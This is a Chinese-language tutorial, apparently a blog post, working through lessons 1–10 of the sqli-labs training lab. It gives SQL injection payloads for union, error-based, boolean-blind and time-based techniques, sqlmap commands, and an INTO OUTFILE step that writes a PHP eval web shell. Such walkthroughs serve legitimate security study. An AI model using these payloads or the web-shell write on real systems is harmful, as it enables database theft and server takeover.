在sqli-liabs学习SQL注入之旅(第一关~第十关)

第一关

1.联合注入

第一步:判断参数的类型

?id=1'         页面报错
?id=1' --+     页面正常        判断参数接受类型为 字符型

查看第一关源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";   证明我们的判断正确!

第二步:猜解字段

?id=1' order by 3 --+    页面正常
?id=1' order by 4 --+    页面报错    判断字段长度为 3

第三步:爆数据库名

?id=-1' union select 1,database(),3 --+    获得数据库名为:security

注意:这里让id=-1,使页面报错,产生回显点!

第四步:爆表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+          获得表名为:emails,referers,uagents,users

第五步:爆列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+                获得列名为:id,username,password

第六步:爆数据

?id=-1' union select 1,group_concat(username,password),3 from users --+

nice!!!到这里我们已经获得了数据库所有账号密码!!!

我们也可以直接使用报错注入获取数据库名!

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

我们还可以使用sqlmap神器一把梭!(只要存在sql注入,sqlmap神器几乎都能梭哈成功)

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/index.php?id=1 --dbs

第二关

第一步:判断参数接受类型

?id=1 and 1=1    页面正常
?id=1 and 1=2    页面报错    判断参数接受类型为 数字型

查看第二关源码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";    证明我们判断正确

第二步:猜解字段

?id=-1 order by 3    页面正常
?id=-1 order by 4    页面报错    判断字段数为 3

第三步:爆数据库名

?id=-1 union select 1,database(),3

后面的步骤可以参考第一关!

只要注意:字符型注入     ?id=-1' --+      数字型注入  ?id=-1    两者之间只是一个引号的区别!!

这里我们再来学一条报错注入语句

?id=-1 and extractvalue(1,concat('~',database()))

第三关

第一步:猜参数接受类型

?id=1'         页面报错,从页面的报错信息我们可以猜想sql语句对参数的接受形式为:id = ('$id')
?id=1')        页面报错
?id=1')--+     页面正常        判断参数接受类型为  括号+单引号 ,即  ('$id')

查看第三关源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";    判断正确

后面的步骤和第一关一样!我们可以对比下 第一关 和 第三关 的区别:

第一关:?id=-1' union select 1,2,3 --+
第二关:?id=-1 union select 1,2,3
第三关:?id=-1') union select 1,2,3 --+

区别只是一个参数的闭合方式 ' 和 ') 的区别,所以前期判断参数接受方式非常重要!!!非常重要!!!非常重要!!!

再来学一条报错注入语句;(实战中,如果有回显,报错注入真是美滋滋)

?id=-1') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); --+

第四关

第一步:判断参数接受类型

?id=1'        页面没反应
?id=1"        页面报错,根据页面报错的信息,我们猜测参数接受形式为:id = ("$id")
?id=1")--+    页面正常

查看第四关源码:

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

可以看见参数这里进行了套娃,最终形式为:id = ("$id"),说明我们判断正确!!!

接下来的步骤类似第三关,只需要把 ')  换成 ") 即可,其他语句不变。

第三关:?id=-1') union select 1,2,3 --+
第四关:?id=-1") union select 1,2,3 --+

第五关

第一步:判断参数接受类型

?id=1'        页面报错
?id=1'--+     页面正常    判断后台参数接受类型为:id = '$id'

查看第五关源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    判断正确!!!

第二步:猜字段数

?id=1' order by 3 --+    页面正常
?id=1' order by 4 --+    页面报错    判断字段数为 3

第三步:爆数据库

?id=-1' union select 1,database(),3 --+    页面没有回显数据啊,使用回显点爆数据库行不通!

那就换个姿势,使用无回显的注入方式:报错注入、布尔注入、延时注入!
个人推荐使用优先级:报错注入 >> 布尔注入 >> 延时注入

第四步:使用报错语句爆数据库名

?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+    成功回显数据库名

第五步:使用报错语句爆表名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+    成功回显所有表名

第六步:使用报错语句爆列名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+        成功回显表user所有列名

第七步:使用报错语句爆数据

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+        成功获取数据库账号密码

第五关小结:前四关我们可以通过报错,页面产生回显点。而第五关则行不通,查看第五关源码。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}


从上面的套娃可以看出,if判断只要$sql可以成功执行,那么页面只输出  You are in........... 这段话,不会输出其他任何东西。

第六关

第一步:判断参数接受类型

?id=1'        页面正常
?id=1"        页面报错
?id=1"--+     页面正常    判断后台参数接受类型为:id = "$id"

查看源码:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";    判断正确

后面的步骤和第五关一样,只需要把 ' 改为 " 即可。是不是很简单!!!

第七关

这一关对于新手来说非常坎坷,话不多说,开搞!!

第一步:判断参数接受类型

?id=1'            页面报错
?id=1' --+        页面依然报错,根据前几关的经验,可以猜测参数接受方式存在 () 。
?id=1') --+       页面报错,别放弃,继续加 () .
?id=1')) --+      页面正常        判断参数接受方式为 id = (('$id'))

查看第七关源码:$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";    判断正确!

第二步:猜字段数

?id=1')) order by 3 --+    页面正常
?id=1')) order by 4 --+    页面报错        判断字段数为 3

第三步:爆数据库名

?id=1')) union select 1,database(),3 --+    页面无回应,判断为无法输出回显点

第四步:使用报错注入语句

?id=-1')) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); --+        偶买噶,页面依然无动于衷!

第五步:换个新姿势

根据页面的提示,我们看到了 You are in.... Use outfile...... 重点是 outfile !!!

先简单的提一下outfile

在MySQL里面使用select … into outfile可以把数据导出到文本文件上
里面有几个参数
secure_file_priv 用来限制导出效果。他有三个属性:
1、null限制不能导出
2、为空可以自定义
3、为一个路径则只能导出到指定路径
datadir是MySQL数据存储位置,是默认的相对位置。
查询时候加上@@ 如@@secure_file_priv、@@datadir

了解了outfile后,我们继续注入。此时为root权限的话,写入一句话还需获得绝对路径。(如果实战可以直接上次查看返回的路径),本地靶场情况不一样。无奈只能去第一关查看mysql根路径!

?id=-1' union select 1,2,@@basedir --+        

开始构造路径,写入shell文件。

?id=1')) union select 1,2,'<?php eval($_POST["gjc"]);?>' into outfile "D:\\PhPStudy\\PHPTutorial\\MySQL\\data\\shell.txt"--+

 页面报错不用管,去看看我们的mysql根目录有无写入成功

文件成功写入,打开查看数据是否写入成功!

接下来拿出珍藏多年的" 菜刀 "工具直接连接。(蚁剑、冰蝎也可以)。

注意:如果你发现写入未成功,那么可以借鉴以下地址解决问题。我也出现了此类问题,已解决!

[原创]sqli-labs靶场第七关文件无法写入-茶余饭后-看雪论坛-安全社区|安全招聘|bbs.pediy.com

第八关

第一步:猜参数的接受类型

?id=1'        页面报错
?id=1'--+     页面正常        猜测参数的接受形式:id = '$id'

查看第八关源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";   判断正确!

第二步:猜字段数

?id=1' order by 3 --+    页面正常
?id=1' order by 4 --+    页面错误    猜测字段数为3

第三步:爆数据库名

?id=-1' union select 1,database(),3 --+    页面无动于衷!属于无回显注入。

第四步:采用报错盲注

?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+    页面依旧无动于衷

第五步:采用布尔盲注
(1)判断数据库名长度
?id=1' and length(database())>7 --+    回显正常
?id=1' and length(database())>8 --+    回显错误   得到数据库名长度为 8 

(2)判断数据库第一位
?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' --+        页面出错

这里比较麻烦,26位字母,一位一位判断下去,直到判断正确。

?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e' --+        页面正常  说明数据库名第一位是 e

重点:手工判断是很耗时的,我们可以使用下面的方法。
    1、二分法。(将 字母判断 改为 数字判断,使用ASCII码转化字母为数字)
           语句:?id=1' and (select ascii(substr(database(),1,1))=115) --+    ASCII码中 115 为 s 。(具体对应参数可以网上搜 " ASCII码表 ")

    2、使用python脚本去跑。(网上有很多文章)

    3、使用burp suite工具的inruder功能进行爆破。(个人推荐)

(3)判断数据库名第二位

只要修改 (database(),1,1) 为 (database(),2,1) 即可判断第二位。后面依次类推!!!

(4)判断表名和列名

得到数据库名后,配合前几关查询表的语句构造,依次猜长度、第一位、最后一位即可。

小结:布尔盲注主要是几个函数的使用,所以我们需要先了解函数的参数各自的作用!!!

布尔盲注和延时注入手工太折磨人了,我们使用sqlmap工具直接一把梭!

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-8/index.php?id=1 --dbs

是不是很久!实战中为了get shell,再久也得冲!!!

第九关

第一步:猜参数接受类型

?id=1'         页面没反应
?id=1"         页面没反应
?id=1')        页面没反应      到此可以判断页面无论对错都是原始状态,我们只能使用 延时注入 了!

下面使用睡眠函数sleep()来判断,如果我们的判断正确则睡眠一定时长

?id=1 and sleep(5)        页面缓冲时间正常
?id=1' and sleep(5) --+   页面缓冲时间明显变长    判断参数接受方式为 id = '$id'

查看第九关源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";      判断正确
注意:页面缓冲可能有网络因素干扰。我们可以打开F12,看网络的请求时间。如下图:

第二步:使用 if() 函数配合 sleep() 函数对数据库名进行判断。
(1)猜数据库名长度

?id=1' and if(length(database())=8,sleep(5),1) --+    从f12中可以查看到页面延时多了5秒

(2)配合第八关的布尔盲注语句,猜出数据库名

?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1) --+    从f12中可以查看到页面延时多了5秒

后面的操作我就不一一重复!!

 第九关小结:延时注入是我们SQL注入中不得已的时候才使用的绝招。我们要先理解好 if 函数和 sleep 函数原理,再配合布尔注入中的函数语句。便可除尽一切妖魔鬼怪!!!

第十关

第一步:猜参数接受类型

?id=1'         页面没反应
?id=1"         页面没反应
?id=1')        页面没反应      到此可以判断页面无论对错都是原始状态,我们只能使用 延时注入 了!

下面使用睡眠函数sleep()来判断,如果我们的判断正确则睡眠一定时长

?id=1 and sleep(5)             页面缓冲时间正常
?id=1' and sleep(5) --+        页面缓冲时间正常
?id=1" and sleep(5) --+        页面缓冲时间明显变长    判断参数接受方式为 id = "$id"

查看第十关源码:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";    判断正确!

第十关也是延时盲注,差别在第九关的单引号 ' 在第十关变成了 " 。

后面的步骤就不演示了,时间就是金钱。看到延时注入,只想用sqlmap一把梭!不过原理还是要搞懂。

总结:

(1)前十关使用的都是GET注入方式。

(2)代码中参数的接受方式千变万化:id = $id 、id = '$id' 、id = "$id" 、id = ('$id')、id = ("$id") 等等。

(3)学会了mysql中多个函数的使用。

(4)注入的姿势也有很多种,实战中优先级:outfile写入shell > sqlmap > 报错盲注 > 布尔盲注 > 延时盲注 > 其他

  • 5
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值